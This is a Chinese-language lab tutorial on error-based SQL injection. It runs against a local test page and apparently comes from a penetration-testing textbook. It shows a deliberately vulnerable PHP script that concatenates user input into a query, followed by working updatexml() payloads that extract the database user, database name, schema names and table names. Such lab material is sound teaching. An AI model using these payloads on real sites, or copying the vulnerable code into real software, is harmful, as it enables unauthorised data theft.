目录
本文采用的是《Web安全攻防渗透测试实战指南》提供的代码及数据库。
1 环境介绍
在报销注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,就输出ok;如果出错,则通过echo mysqli_ error($con),将错误信息输出到页面(mysqli_error返回上一个MySQL函数的错误),代码如下所示。
error.php
<?php
$con=mysqli_connect("localhost","root","qwer","security");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from users where `username`='".$username."'")){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
输入username=1'时,SQL语句为select*from users where 'username'='1"。执行时,会因为多了一个单引号而报错。利用这种错误回
显,我们可以通过floor ()、updatexml ()等函数将要查询的内容输出到页面上。

2 实验过程
首先访问http://127.0.0.1/four/4.1.8/error.php?username=1',因为参数username的值是1',在数据库中执行SQL时,会因为多了一个单引号而报错,输出到页面的结果如图所示。
通过页面返回结果可以看出,程序直接将错误信息输出到了页面上,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatexml()演示SQL语句获取user()的值,SQL语句如下所示。
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
其中0x7e是ASCI编码,解码结果为~,如图所示。
然后尝试获取当前数据库的库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
接着可以利用select语句继续获取数据库中的库名、表名和字段名,查询语句与Union注入的相同。因为报错注入只显示条结果,所以需要使用limit语句。构造的语句如下所示。
' and updatexml (1, concat(0x7e,(select schema_name from information_schema.schemata limit 0, 1),0x7e), 1)--+
结果如图所示,可以获取数据库的库名。
如图所示,构造查询表名的语句,如下所示,可以获取数据库security的表名。
http://127.0.0.1/four/4.1.8/error.php?username=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),0x7e),1)--+